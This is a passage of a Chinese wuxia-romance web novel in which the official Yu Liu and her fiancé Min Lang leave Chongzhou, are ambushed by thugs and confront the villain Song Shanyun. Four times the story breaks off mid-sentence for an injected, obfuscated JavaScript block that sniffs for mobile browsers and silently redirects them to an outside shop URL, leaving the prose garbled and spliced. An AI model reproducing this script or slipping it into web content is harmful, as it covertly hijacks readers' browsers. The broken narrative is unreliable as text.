柳吾善则回了趟书房,把自己手里的,和卢主簿拿来的书卷放在一起,交给敏郎:“这也带上吧,后面就靠自己了。” 敏郎依言放进包袱里,道了声谢:“麻烦了。” 玉流看着北飞的群鸟好一会儿,终于等到了人。 两人骑上马,玉流看着来送行的几位,几日的相处竟也生出点柔情来:“到这儿就好,不用送了。” 柳吾善和杨淮月点头,一同道:“那玉大人和敏郎一路小心。” 玉流骑马而去,敏郎跟在玉流身后,朝他们轻轻挥手。 直到他们几乎快要离开这片街巷,一直没说话的卢主簿涨红了脸,冒出来一句:“照顾点我们敏郎!” 他才不管旁边笑得四仰八叉的两个,只在乎玉流的反应。 玉流没错过旁边红脸低头的小郎君,笑了笑,扬了扬手。 卢主簿的脸笑了又愁,愁了又笑,愁愁笑笑,感觉又老了一岁,说回屋缓一下。 “去吧,”杨淮月大手一挥,继而拍着柳吾善,悄咪咪问,“你刚才给了敏郎什么?” “老卢写了卷宗,我写了结案陈词,都让他带上。” “国舅那案子?”杨淮月打量着自己的夫君,“我以为你没管这件事。” “以防万一嘛,给玉大人,也给我自己,先准备一条退路起。” “真难得啊,我还以为你这辈子都要占着茅坑不拉屎了,”杨淮月取笑完柳吾善,猛地想起一件事来,“哎,那我早上辛苦做好的饭呢,他们两个都没吃啊。” 柳吾善满脸无语:“能不能别把这两句话放在一起说?” 杨淮月:“怎么,有意见?” 柳吾善:“哪里敢呐,我也回去歇着了。” 杨淮月抓住柳吾善的胳膊:“哎哎哎,那墙谁修?” 柳吾善:“……” 他立马开演:“哎呦,我头疼,我得回去躺一会,啊,要不去老卢那儿一起好了。” 杨淮月气得叉腰:“柳吾善,柳吾善,柳吾善……” 咯吱——太守府的大门合上,里头的三人不知道之后的大殷会起什么惊天动地的风浪,他们只知道要护住崇州这方小小的天地。 —— 极乐天开门了一年多,终于遇上一个敢上门闹事的了。 谢遥知握着一柄铁扇,差点将牡丹金楼毁得天翻地覆。 “秦辜幸呢,让他滚出来见我!” 绣夏帮着姐妹疏散了客人,自己顶着这玉公子凶残的目光走了出来,脸上扬着客气的笑,心里却想,这活儿真是没法干了。 她道:“谢公子,请随我往这边来。” 秦辜幸正躺在楼顶的软榻上,看着一脸晦暗的谢遥知走进来,懒洋洋地打了招呼:“呦,你怎么会有闲工夫来——” 下一刻,秦辜幸闭上嘴。 谢遥知如影移步,已至他眼前,扇骨中的刀尖已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097087|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对准了他的眼睛。 寒光流过,杀意尽现。 真是要死,玉流没来杀他,谢遥知倒是先来了。这只蠢狐狸也很麻烦。 下层一阵劈里啪啦的砸闹,秦辜幸不用去看都知道怎么了,他真心疼自己被伤毁的残花,把这一笔账全算在了宋繁声头上。 秦辜幸用指尖抵住刀刃,离面具远了一点,和他打着商量:“你能放过我,我就告诉你一个秘密。” “秘密有什么用,”谢遥知怒气满身,冷笑道,“玉流在你这儿出的事,我现在只想把你千刀万剐!” “啧,”眼看刀尖就要压下,秦辜幸也懒得和他来回了,凤眼半眯,反手卡住扇柄,两人持平,甚至更有压他一头的姿态。 “谢遥知,我让人把你带上来可不是为了给自己送死的。”秦辜幸手中做了个花,虚虚的一掌,却将谢遥知重重地推远,跌倒在地。 他站起来,放平衣裳的褶皱,拿起手边的瓷壶,直接倒在谢遥知的头顶。 冰冷的茶水漫下,打湿了半张俊脸。 秦辜幸温和地警告:“清醒点了没,清醒的话听我说几句?” 他淡淡道:“你母亲于我有点恩情在,那我给你做个顺水人情也可以……谢遥知,你就不想自己到底输给谁的吗?” 谢遥知一直都知道秦辜幸扮猫吃老虎,今日见识到他的一点真本事也没有太过惊讶。他用尽全部的实力,或许也只能和他打个平手,所以他此番来,是为了撒气,也只有在这儿,能够撒气。 他坐在地上,水流顺着眼角落下,的确醒了一些,迟疑道:“你这话,什么意思?” “我能有什么意思,啊哈哈哈哈哈哈,”秦辜幸看他那狼狈样,高声大笑,疯得很,“大家都疯癫,别装什么纯情,也别那么愚蠢,这个世道疯子那么多,诡计那么多,我就不信你没有怀疑过。你认识他那么久,难道你觉得他没有瞒天过海的本事吗?” 霎那的迟滞,谢遥知领会了他的意思。滚动喉结,有瞬间的茫然:“你——” “怎么,”秦辜幸盯着他,慢悠悠道,“你就这么怕他,所以不敢信吗?” 谢遥知抬起眼,两个心里有鬼的人交错眼神。 秦辜幸继续道:“玉流那件事是我不对,我那时被另一个人吸引了注意,大意了,是我对不住你,但有失也有得,我看那个人,真的很眼熟,你不觉得吗?” 谢遥知没有回话,镇静的面容下已是骇浪惊起。 原来不只是他一个人有过怀疑,可秦辜幸的话能信吗? 短暂的沉默犹如年月漫长,他握紧拳头,胡乱地抹去脸上的茶水:“你最好不要骗我。若是假的,我一定会回来杀了你,就算同归于尽。” 秦辜幸哈哈笑,全然不在意他晃的虚枪:“若是真的,你就该谢我了。” 人走了,得救了。 秦辜幸伸手拉着腰背,装王八装久了,背疼,随手敲了敲红木桌面:“绣夏,找个人去给那个骗子送消息,说我的事情已经到位了,让他自己看着办。” “再去准备准备,我也要牡丹开花了。” 外头的绣夏推开门,直愣愣地看着他。 秦辜幸摸着下巴:“……你等什么呢?” 绣夏非常实诚:“能您自己去送口信吗,我们都挺怕的。” 秦辜幸:“你们现在有能耐了,个个都不听我的话了是吧。”他就不怕吗?! 绣夏:“那——要不交给包打听?就当破财消灾了。” 秦辜幸:“让我想想,额……” “楼主!” 天降的一声,绣夏一个激灵。 秦辜幸冷静地抬头,看着屋顶被移开的瓦片,白亮的天光漏进来,扎着双髻的小姑娘兔子一样探出脑袋。 绣夏吓得失色:“宝儿?你在上面做什么,太危险了,赶紧下来!” 宝儿朝着绣夏嘿嘿笑了两声,看向秦辜幸,诚恳道:“楼主,可以让我去吗?我超——听话的!” 33. 行路中 来时大张旗鼓,去时销声匿迹,真够离谱的。 玉流托起斗笠边檐,仰头看了眼黄昏天色。 落日如金,天地橙艳,这时候的黄沙路上已没什么北上的赶路人。 她控着缰绳,夹着马腹,放慢了速度。 “吁吁吁。”身下的白马被迫在原地走路,发出不耐的吼鸣。 玉流拍拍马脖子,稍作安抚:“等人呢。” “咴咴,咴咴……”白马甩着头,似乎不赞成她的做法。 玉流笑笑,轻声诉语:“没办法,最近事情有点多,我有点乱,你也忍耐一下。” 她说得含糊,心里并不是,她只是不想说得太清。即使在京城当了一年的外侯官,能阴狠无情,翻脸不认,可落笔不是。 按了指印的一卷是板上钉钉的证据,给她也束上了一圈无形的纸戒。 那张婚书绑住的,不会止他一个。 这个小郎君,很会往她隐秘的弱点上踩。 很低的笑自嘴角倾泻,玉流沉了沉气息,将垂落的发丝搭在耳后,等着敏郎追上来,平淡问道:“累吗?” 敏郎的那匹马养得再好都不足以奔千里,离开崇州后不久就有些跟不上,跑得气喘吁吁,骑马的人也是,满头的汗跟浸湿一样。 鬓发软软地贴着额头,卷成各色的圈圈,围着微红发热的脸,水灵灵的,像是盛夏午后从冷山泉中拎出来的玉露桃。 玉露桃小口呼着气,抬手擦去下巴绒毛上滴下的汗珠,喘了许久,才道:“累。” 这次敏郎不敢像先前的三次一样逞强了。就算他还行,马儿也不行了,真得找个地方歇歇了。 “那就休息一会儿,跟我来,”玉流调转马头,“天也快黑了,这会儿缓一缓,晚上继续赶路。” 大殷州界边境在人马繁忙的官道上设有驿站,玉流这次要低调回程,就没往人多的路上走。 没有官道的路上,会有一些附近乡民临时搭的茶摊供路过的行人歇脚。 但能不能找到,全凭运气。 看来他们的运气不错。前方不远,有一个经幡摇曳的铺子。 找了个阴凉的山坡系好缰绳,玉流和敏郎走向铺子。 里头的店小二热情地来招呼:“两位客官,来点什么?” “来壶凉茶,再……”铺子后升腾起的袅袅白烟和蒸腾起的香气如云雾环抱,让人无法忽视,玉流转向敏郎,“你想吃什么?” “我吗,大,不,您、您不吃吗?”幸好,敏郎还记得玉流嘱咐的话,没回京城前,不要在人前轻易喊她大人。 玉流没什么胃口:“我不吃。” “那我也不吃。” “我不是在问你吃不吃,”玉流直接自己点,“来碗白汤,再来个馕饼,给他。” “好嘞。” 店小二也不多看多问,在非官道的地方做生意,讲究审时度势,装聋作哑。 玉流找了张靠近角落的桌子坐下。 敏郎搬来凳子靠近,碍于身份,嘴唇反反复复动了很久,终于很小声问她:“您真的不吃吗?” “嗯,你多吃点,毕竟,”玉流道,“你看起来比我虚。” 敏郎立即反驳:“没有!您、您怎么能说、说男子身子……” 玉流:“不是吗,那晚上我们不停,你撑得下去?” 敏郎:“……”她一定要这么正经地说出来吗? “有没有觉得似曾相识,”玉流睨他,“还有意见?” “没、没有。”敏郎揣着手坐好。 瞧他撅嘴委屈那样,玉流觉得好笑,点点桌板:“别这么不情不愿的,我是在关心你。” “哦,谢谢大人。” 听起来更委屈了,玉流微微扬唇,满意了。抬手,转了转斗笠。 从敏郎的视角看去,能看见斗笠偏移的位置上,勒出了浅红的凹痕。 “不摘下来吗?”他问。 “不了。”缓解了额头的痒意,玉流将斗笠压回来。她的这张脸太打眼了,能挡着就挡着吧,免得被借机生事,耽误回京的时间。 敏郎皱眉,满脸都在用力否决她的做法:“不、不行,闷太久会不舒服的。” 接着,他就起身往帘子之后走去,留下一脸懵的玉流。 不多时,敏郎撩起帘子走了出来,不声不响地走到玉流身后,也不坐下。 小二后脚也跟了出来。 “您慢用。”他给玉流端上了茶,拿起白布擦了擦额头,又回去忙了。 玉流没急着去拿茶壶,转过半身问头顶的人:“你还站着做什么?” “就来。”敏郎嘴角漾开一抹笑,移开凳子,屈膝半蹲,几乎与她平齐。 “哎?” 不等玉流说什么,敏郎猛地探头,钻进斗笠宽大的帽檐中。 半明半黑的山野,不算柔和的晚风,他就这么推起斗笠,悄然贴近,两张脸几乎快要碰在一起。 玉流一时惊得瞪圆眼睛:“你——” 但他只是拿出一方沾水的帕子,盖在她泛红的额头,冰冷的流水抚过,风沙烈日摧出的热被驱散了。 她抿着唇,庆幸这时辰这地方,没什么过路人。 敏郎:“有没有,觉得好一点?” “嗯,”玉流只要垂下眼睛就能看见他仰起的脸,不算太自在,“你现在做这种事,脸都不红了是吗?” “为、为什么要脸红?”敏郎无辜地看着她。 玉流:“……” “噢,”老长的一声,敏郎像是才发现两人的姿势暧昧,纯稚的人迅速打通任督二脉,稍显恶劣地问,“大人原以为我要做什么?” “……擦脸。” “噢。”更长的一声。 得寸进尺! 玉流抖抖嘴唇,看出他难以自持的不怀好意,伸手抓过帕子:“我自己来,你坐下。” “好呢。”敏郎压不下弯起的唇角,搬回凳子挨着她。 “别那么近,热。” “不好。” “……你,算了。”玉流忍下了,戴好斗笠,不理一直盯着她看的敏郎。 远处黄沙飞起,马蹄渐近。 嘈杂的闹声中,玉流侧身,几位袒胸露乳的大汉策马而来,后方还跟着一条疾驰的猎犬。 为首是位光头,还未下马就朝着这边大喊:“小二,上三壶好茶。” “好嘞,客官稍等!” 里头的小二应声,端出汤与饼,放在敏郎面前:“请慢用。” 人来了,玉流收回视线,拿起陶碗,吹去浮在壁上的细沙,倒下茶水。 原来同行的还有一位书生打扮的中年人,就坐在离他们最近的那张四方桌子旁,那条龇牙的猎犬乖乖地趴在他的脚边,呼噜噜地吐着气。 玉流没吱声。这里离崇州不算远,来来往往人马很多,地痞恶霸配书生,常见。 只是敏郎悄悄移了一下凳子。 他的斜后面,不是人。 玉流问:“你怕狗?” 敏郎:“有点。” 玉流看着他快挤到桌边的薄背:“要不我和你换换?” 敏郎:“没关系,这样,嗯……” 他犹豫了一下:“那我能不能,再离您近一点?” 玉流:“……”她记得得寸进尺可不是好话啊。 “让让,让让!”光头走了过来,隔断了敏郎和猎犬之间的空隙,也打断了玉流接下来要说的话。 他应该很会来事,拿了小二递来的茶壶,打着笑脸给书生斟茶倒水:“管家,这个时辰了,要是还没——” 书生竖起手指,示意他闭嘴:“人多眼杂。” 光头立即会意,点头哈腰:“您说得是。” 书生:“知道就坐下吧。” “好嘞。”他拖拉出凳子,就坐在了玉流和敏郎的身后。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114393|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人说话声不大,也说得克制客气,但这方圆几里,小二在帘子后偷懒,这会儿除了他们一群,剩下的也只有玉流和敏郎二人。 这人多指的谁,不言自明。 玉流轻嗤,倒茶喝茶,顺便再欣赏一下隔壁的美人吃东西。 敏郎很有坐相,腰背挺得笔直,也很有吃相,喝汤都没有声音,砸吧嘴都没有。 最后一口饼下肚,敏郎眼神飘忽:“您能不能,别这么看着我。” 带着点哀求的语气。 “吼,”玉流笑他,“这时候脸红了。” 敏郎低眉:“您不能、不能这么小气,刚才不让我看。现在,有人呢,谁、谁都不认识。” “你还挺有要求的。” “嗯。”他摸上有点红的耳廓。又不是什么人都配知晓他俩关系的。 玉流还想说点什么,她的白马叫了声。闻声看去,马儿似乎受了什么刺激,在来回踏着马蹄。 她撑着下巴,眼睛平看,旁边的矮木好像有些歪斜…… 就这样看了良久,她问:“吃完了吗?” “嗯。”敏郎喝完了最后一口汤。 “那走吧。” 玉流站起来,地方太窄,朝着后头的光头道:“您也让让?” 光头在书生的示意下,踩着凳腿子往旁边移着,鼠眼黏在他们身上来回转,似乎是听出了两人的关系,啐了一口。 “两个没骨头的小白脸。” 玉流冷冷一看,秉承多一事不如少一事的念头,权当他放屁。 “小二,结账。” 离开前,她在那位儒雅的中年书生身上短暂地看了看,然后—— 被发现了。 在书生饱含深意的微笑中,玉流淡定地移开眼。 不知又赶了多久的路,抬头已是入夜时分。 黑如墨的天穹下,隔着一段路就是一片枯树的荒芜郊野上,夜风卷起地上的草团,滚过几个来回。 玉流听声辩位,拉住余光不知在看何处的敏郎。 “停下。” “大——” “嘘。” 不远处摇晃的草堆中,跳出一只野兔。 “嗯,没事了。” “那个,我有事。” “怎么了?” 敏郎有点难堪:“汤喝多了,想、想解手。” “去吧,”玉流理解,“记得别走太远。” “可、可……”一想到玉流灵敏的听觉,他的脸就要烧起来,“我……” “我会堵住耳朵。”玉流很贴心,保护他的自尊。 敏郎揪着手指头:“……谢谢大人。” 玉流真的堵住了耳朵,手指都快没知觉了,人还没回来。 怎么这么久啊,都没声音了。 玉流看着他的马:“你主人呢?” 马儿:“……咴儿?” 白问,玉流扭头:“敏郎,敏郎?” 除了虫鸣,遥远的天边只剩下她自己的回音,在旷野格外悠扬。 玉流脸色微变,翻身下马。冷静地察看四周后,抓上剑柄,朝着方才敏郎消失的方位,沉声道:“滚出来。” 没有回应。 “哈,”玉流冷笑,“再不出来,别逼我动手。” “啪啪啪”,有人鼓着掌,从幽黑的枯木林中走出。 “你这小白脸挺有本事的,比你的小兔爷强,就是太狂了,动不动手,应该是由我们说了算。” 玉流摸着剑,不急着动手了。 “原来是你们。” 来的这三人正是在铺子中有过一面之缘的大汉。打头阵的这位,还是那时嘴了他们的光头。 在他身后,敏郎正被人勒着,用刀架在脖子上。 身下嘛,还好,裤子穿得好好的。 玉流放心了,再去看这熟悉的场景,不禁感慨:“看来你真的很容易被用来威胁我。” 34. 不长眼 时间退回到刚刚。 为了装装样子,他跑了点路,算着已经不在玉流的视野内后,才慢下来。淡然走进林子,如张牙舞爪鬼魅黑影的枯树林中,细微之处的脚步越来越近。 他脚下停顿,声音有点多,仔细辨一辨,有三道,是提着内力,在刻意压制。 玉流不会跟上来,那这会儿来的只有—— “小郎君,识相的话我劝你不要喊。”恶臭与卑劣的话语落下,冷如冰的刀刃悄然贴上了后颈,满是刀痕的大手拿起麻绳,粗暴地将人绑住。 “对,这样才听话,不然,哈哈哈哈哈,”被月光照得反光的头颅下,一张丑陋的脸阴笑着,将刀移到下巴,抬起敏郎的脸,“哎呦,这张细嫩肉的小脸就不一定护得住了……” 敏郎微颤,在和玉流的遥遥相看中,他也发现了这个悲惨的事实,弱弱道:“对、对不起。” 玉流接受他的歉意:“没关系,这也是没有办法的事。” “喂喂喂,”察觉自己被无视的光头,“你是眼瞎吗,看不见——” 太吵了。 玉流眼神一凛,伸手让他闭嘴。 光头张着嘴,呜了一会儿,发现自己真被一个豆苗瘦的小白脸吓到了,不由得看向身后的小弟。 小弟也觉得震惊:“大哥,您没事吧。” 光头眯眼,看着玉流。 脸都被斗笠遮着,哪里来的狼视,定是他看错了。 光头:“没事,不准说出去。” 小弟:“知道知道。” 光头甩着刀,拿出气势来,粗声大喊:“喂,说你呢,眼瞎还耳聋是吧!” 玉流毫不在意这个废物,一句话都没进耳朵,她只看着敏郎。 他被壮他半个身位的大汉紧紧勒住,玉流看不大清他如何,只能问:“受伤了吗?” 玉流看起来完全不怕,他也能稍微定下心来。 “没有。” 玉流:“那就好。” 一而再,再而三被无视,光头怒从心起,抓起大刀指向玉流:“操!死断袖,□□都不知——” “哎,急什么呢,我不是在听吗,”玉流淡定地打断,用力踩上地上短短的枯草根,点点下巴朝他看去,“说来听听,你们哪家的,这么不长眼,敢劫我的人。” 此话一出,不仅光头放声哈哈大笑,连身边的两个小弟也是如此。 “大哥,天哪,她是不是傻啊。” “是吧,我就说我们兄弟几个来就够了,跟我没错。” 小弟拱手:“没错没错,这下一定能在管家跟前露一脸了。” “那是当然。” 光头笑够了,龇着一口黄牙:“我说,你这小白脸看起来清清瘦瘦的,没想到还挺狂。” 玉流背着手,转了转放在身后的剑。听这几句话的意思,他们三人是单独来的。 搞突袭不先问过主人吗,可能会出大事哦。 所以到底是哪家这么不长眼呢,她还挺好奇的。 玉流挑起眉梢:“不然呢?” “真不认识我们啊,”光头站直,睥睨道,“说出来吓死你。” “大哥,不可。”身后小弟出声提醒。 光头瞪眼:“我知道,闭嘴。” 光头也不跟她绕,举着大刀,直接道:“小白脸,我们兄弟赶时间,你把东西交出来,我就留你们这对恶心的雄鸳鸯一个全尸。” 简直有毛病,玉流心里骂了一嘴,面上倒是挺配合,思索了一番,询问道:“什么东西?” “装蒜,”光头冷哼,“你心里清楚。” 清楚什么,她现在什么都不清楚,越过他又问敏郎:“你知道吗?” 敏郎摇头:“啊,我吗,不知,嘶——” 玉流一听:“你伤到了?” 敏郎:“没、没有,刚才手上被树枝划到了。” 这下光头确定这两人是完全不把他们当人看了。 “哎呦我去,两个小白脸你侬我侬,啊呸,”光头恶心上来,吐了一口唾沫,“你可别给脸不要脸!” “你脑子坏掉了吧,不知道你在说什么,”玉流懒得和他继续兜圈子,“把你手里的人还给我。” 光头:“不行,你先把我们的东西交出来。” 真服了,玉流简直无话可说:“那你跟我说是什么东西啊。” 除了摊子那儿,他们都没和这群人有过其他接触,玉流压根不知道这个光头说的东西到底指的是什么。 光头也不多说,就那么几个字:“你清楚。” “我清楚?”玉流向远处望去,风鸣越来越近,她笑了笑,嫌恶地翻了个白眼,真是蠢到家了。 “清楚你不是东西?” 光头没什么反应,后面被抓的敏郎噗哈地笑出来。 身后的小弟立即提上刀刃,警告道:“严肃点,不准笑。” 敏郎恢复觉悟:“哦。” 光头可能真的脑子不好,愣住了:“你什么意思?” 身边的小弟及时解惑:“大哥,她在笑话你。” “笑话我,笑话我什么,不是东西,不是……啊,啊,好啊!” 光头终于领会过来,他没想到会被一个女相的小白脸看不起,怒意狰狞,气得撩起袖子就要上:“今天是个好日子,兄弟们,给我看好了,看我怎么把她给——” “汪汪!”猎犬的叫声忽至,随之而来的,还有,“退下。” 和煦如风的音色,却让这几位大汉立刻站好。敏郎被迫,也跟着挺直脊背,只是他侧过了脸。 连要来杀她的这位也收起刀规规矩矩地鞠躬。等到这位气质儒雅的书生走到眼前,才敢抬头,谄媚开口:“管家,您怎么来了,我已经找到偷东西的人了,就是他们,一个已经逮到了,还有一个,喏,就是她,在和我们装。” “哦?这样吗,”书生转过脸,先是看了一眼对面的玉流,再看了一眼被抓到的敏郎,最后看向急着邀功的光头,随和地拍拍他的肩膀,“那还真是……辛苦你了。” 光头大喜:“不辛苦,不辛苦,为管家效力,都是我应该做的。” “那么,”书生按着他的肩,往下施力,话锋一转,“还记得我来时的第一句话吗?” “啊,什么,您说了什么?” “看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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重重的两声,在寂静的土地上,分外刺耳。 书生收手中的毛笔,平静得不像是刚刚杀了一个人:“我的狗都嫌你烦,是吧,阿松?” “汪汪!”紧接着,猎犬猛地咬上断肉,凶猛扑食。 犬齿撕扯咀嚼血肉的声音被夜风无限放大,卷起漫天的血腥。风一吹,全往人脸上来。 味儿太冲了,书生皱眉,卷起袖子掩鼻,对着玉流道:“抱歉。” 说完,踢踢它的肚子:“像什么样子,去,到边上吃。” 猎犬呜呜,哀怨地看了主人一眼,拖着留着血的脑袋走了。 “手下不懂事,见笑了,”处理好这些,书生拿出帕子,擦去手指溅上的血,朝她微笑,“人还不如狗听话,活着也是浪费,姑娘说是吗?” 玉流侧了侧身,也不说话,依旧玩着手里的剑,心里想着,这走向还有点意思。 被人无视扫了脸面,他也不介意,笑了笑,算是化解她的冷漠。 “看来是不认得我了,不怪你,怪我。” “玉流小丫头,多年未见,亭亭玉立了,”书生收好帕子,眯着笑眼,眉目和蔼,毫不掩饰对她的欣赏,“我当初就和李长庚说过,你会比宋繁声更成器。事实证明,的确如此。” 一个两个熟悉的名字蹦出来,还说得这么熟稔,玉流抬眸,她倒是要好好瞧瞧了。 只见她上看下看,左看右看,来了一句:“呦,你哪位?” 35. 新旧仇 “我让你动了吗,”书生骤然变脸,冷声训斥就要冲上去出刀的人,“一边站着去。” “管家,可是这个小白脸——” “怎么,”书生踢开脚边的土块,悠然道,“你也想和你大哥一样?” 骨碌碌——土块滚呀滚,滚到了已经快要被吃没了的那具尸体边,大汉抖着肥肉的脸,摇头认错:“不敢不敢,管家您请。” “这还差不多,”书生转脸拾起文雅,“小丫头去了京城一趟,嘴皮子功夫渐长啊。” 他看起来对玉流轻挑地寻衅不甚在意,笑了笑:“别开玩笑了,我知道你认出我来了。” 真够有君子风范的。 玉流也笑笑:“是认出来了。多年未见了,宋山云伯伯。” 宋山云,儒雅为皮,毒辣为里,曾经江湖上最出名的两面三刀之流,也是镜水山庄最后的荣光。一支铜铁打造的狼毫毛笔,穿身过,杀无形。 过去曾有好事者将这位铜笔书生和师父奉为一谈,说什么李宋书生兄弟。这种闲话当作谈资随便听听也就罢了,宋家还真敢拿到明面上来说。真是给宋山云长脸了,伪君子傍上这么一个大腿,救了镜水山庄二十多年。 宋山云看她,用着责怪的口吻:“难得回来,你应该过来看看。再怎么说,我也是看着你长大的。” “嘁,”玉流嘲笑,“您脸皮可真厚,万丈峰我都没回去,你那镜水山庄又哪里来的架子值得我特意去拜访一趟?再说了,您上位了吗,没有吧,主事的不是依旧是宋远徽吗,您那位脑子不太好的二哥?” 这样的讥讽在宋山云的预料之内:“玉流,别这么没大没小,怎么算,我们都是你的长辈。” “长辈?”玉流阴郁上脸,“笑话,三年前围杀我的时候,你们有想过我是小辈吗?” 宋山云佯装为难:“玉流,当年的事,只是为了给阿繁讨个说法。” “呦,真会找借口,”玉流也不给他面子,直接点破,“别把自己捧到天上,不过是为了做做样子给世人看看,看看你们镜水宋家,还长着心呢。” 玉流根本不给他一个台阶,自己也不走他给的台阶,宋山云无奈摇头:“话不投机,看来玉流是不想多谈旧事了。” 玉流:“我压根就没想和你谈。” “那好吧,这位是……”宋山云也不继续演了,睁开一只眼,露出锐利的目光。 半张的脸慈爱,半张的脸阴狠,敏郎扭过头,躲过深究的刺探。 崇州地方大,人多眼杂,消息灵通,他们早就听说了,太守府的那位女侯官身边最近总是跟着个俊秀的小郎君。 宋山云本以为她只是一时兴起,没想到居然真的带着,这关系,看来真不一般。不知他那位早亡的侄子在地府知道了,会不会气得托梦回来? 宋山云想着笑话,在男宠和面首间,选择了后者:“这位是,你养的那位面首?” 玉流:“不是。”也是奇了怪了,怎么这些人第一次见面,都会觉得敏郎是她偷养的,小郎君看起来,这么像勾人的狐媚子吗? “这样吗,”宋山云不太信,俯身想要近看,“他看起来,是不是有点眼熟。” 能不眼熟吗,玉流直说了:“介绍一下,这位是我的……” 小狗已经看向她,目光巴巴的,在黑夜里都能感觉到他灼灼的凝视。 总之,非常期待。 玉流对着他的眼睛,如他所愿:“未婚夫婿。” 宋山云的半身僵住,惊讶回头:“你说什么?” “伯伯,您未过半百耳朵就这么不好了,”玉流伸手索要,字正腔圆道,“我说,把我的东西还给我。” 宋山云在这两人间来回观望,玉流的神情不似作假,他简直不可置信:“你……这是长心了?” “什么叫长心了,我一直都有啊,”玉流点着脚尖,把剑甩到了身前,“给个面子吧宋伯伯,不然我真的要动手了。” “啊,哈哈哈哈哈。”宋山云收去了浮在脸上的笑,他都多大岁数了,再像年轻时候这么笑,脸皮都要挂不住了。 “哎呦玉流,看来你是真的长大了,那就不用说什么场面话了,东西交出来,我就把这小郎君还给你。” 东西东西东西,除了自己的命,玉流真想不出来她还有什么东西值得这群人挂念。 “伯伯,我和你的狗腿子说了,我不知道,不妨你先告诉我,你们到底要什么东西?” 宋山云脸色不定:“这可不兴说。” 一个个都不说,玉流咦了声,有了个想法:“宋伯伯,不会你根本不知道是什么吧。所以一直东西东西,和无头苍蝇一样乱撞。” 宋山云也不否认:“阿松,别吃了,东西在这儿吗?” 似乎是为了给主人撑腰,大快朵颐的猎犬叫了几声:“汪呜……” “你听。” “听你个头,简直浪费我时间。”大半夜的,跟狼叫一样,小心招野狼过来。 玉流:“没有,爱信不信,不信拉倒,拉倒动手。” 宋山云真是搞不懂玉流的脑筋:“你这丫头,好的学不会,尽是把李长庚的坏学了个够本。” “你不要你的小夫君了吗,”宋山云拿出铜笔握于掌心,指向还悬在刀上的人,“他现在是在我的手上。” “哦,我差点忘了,”玉流拔剑,指向他,残月冷光落至剑尖,眼眸却红如血月,“他死了,我让你们给他陪葬。” “玉流,别太猖狂。” 玉流不在意:“不试试怎么知道呢,宋伯伯,你不是我师父的对手,自然不会是我的对手。” 说罢,玉流足尖点地,直指宋山云而来。 “你不讲规矩。” “我是小女子,讲什么规矩。” 看戏的敏郎抬起下巴,哼哼问:“这位大哥,说真的,你要不要猜猜她是谁?” 哪里还要猜,江湖上谁不知道玉流的名号。 大汉:“她她她……” 敏郎笑着:“嗯嗯嗯,她好像要过来了。” 大汉:“什么?” 话音才落下,玉流果真弃宋山云而来,长剑挑向敏郎身后。 一招守空的宋山云这才察觉玉流根本就没想和他打,惊叫道:“蠢货,给我将人抓紧。” 另一个立即反应过来,挥刀就要砍下。 敏郎轻笑,心说来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13138505|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不及了。趁着身后这人呆愣的片刻,后背弓起,一脚踩上他的脚背,将他撞倒,顺势用刀割断手上的绳子。再抬起腿,踢中前一个的心口。 至此,两人背靠背站着,不理会宋山云满身暴怒的阴云。 玉流夸他:“还挺灵活啊。” 敏郎擦去额头的汗,羞涩道:“都是大人,大人教得好。” “挺好,”玉流从袖中摸出一把匕首,交给他,“能杀人吗?” 敏郎将匕首在手中转了转:“呃……我,试试?” 这般怯懦的语气,让宋山云嗤笑:“玉流,你看上的人也不怎么样嘛。” 玉流斜眼:“干你屁事。” 敏郎是怕这一点:“不、不会给大人拖后腿吗?” “不会,你杀一个就够了,其余的交给我。都有第一次,习惯就好。” 或许玉流自己都没意识到她是如何的温声细语,这要是搁在侯官署,她一脚就把人揣进刀口下。 “嗯,”敏郎被鼓励到了,有了点信心,“那大人对付那位,也没关系吗?” “没关系,”玉流将剑从肘间抹过,擦去上面的薄灰,“无非旧恨添新仇而已。” “旧仇?”敏郎不太明白,“是刚才说的,围杀吗?” “算是,”玉流并不是很想细说,“因为他们也相信是我杀了宋繁声。” “……嗯?” “你不知道?” 玉流靠着他的后背,整个人兴奋起来:“宋繁声姓宋,镜水山庄宋远徽,宋山云的宋。” 宋山云可是二十年前响当当的人物,和他打一场很划算。 “玉流,你也太小看我了。”宋山云收起铜笔,以手做哨,吹了声,而后柔和地看着他们。 很怪的姿态,玉流不解。 